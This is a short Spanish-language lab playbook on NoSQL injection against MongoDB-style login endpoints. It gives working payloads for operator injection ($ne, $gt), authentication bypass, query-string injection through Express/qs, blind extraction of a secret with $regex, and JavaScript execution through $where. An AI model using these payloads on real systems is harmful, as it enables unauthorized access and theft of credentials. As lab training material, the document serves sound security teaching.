Labs de NoSQL Injection

Playbook práctico — del recon a la prueba de concepto.

1. 1

   Detectar parseo de operadores

   En un login JSON, sustituye el valor string por un objeto con un operador. Si el comportamiento cambia, el backend mete tu input crudo en la query.

   {"username":"admin","password":{"$ne":null}}

2. 2

   Bypassear autenticación

   $gt con string vacío hace match con cualquier documento. Combínalo con un usuario conocido para entrar sin contraseña.

   {"username":"admin","password":{"$gt":""}}

3. 3

   Inyectar vía query string

   Express + el parser qs convierte user[$ne]= en un objeto con operador. Útil cuando el endpoint es GET o un form urlencoded.

   POST /login → username[$ne]=x&password[$ne]=x

4. 4

   Extraer datos a ciegas con $regex

   Sin output, ancla un regex y prueba carácter a carácter observando login OK/KO para reconstruir el secreto.

   {"username":"admin","password":{"$regex":"^a"}}

5. 5

   Escalar a RCE con $where

   Si la app usa $where con tu input, inyecta JavaScript que se ejecuta en el motor; úsalo para blind boolean o sleep.

   {"$where":"sleep(5000) || true"}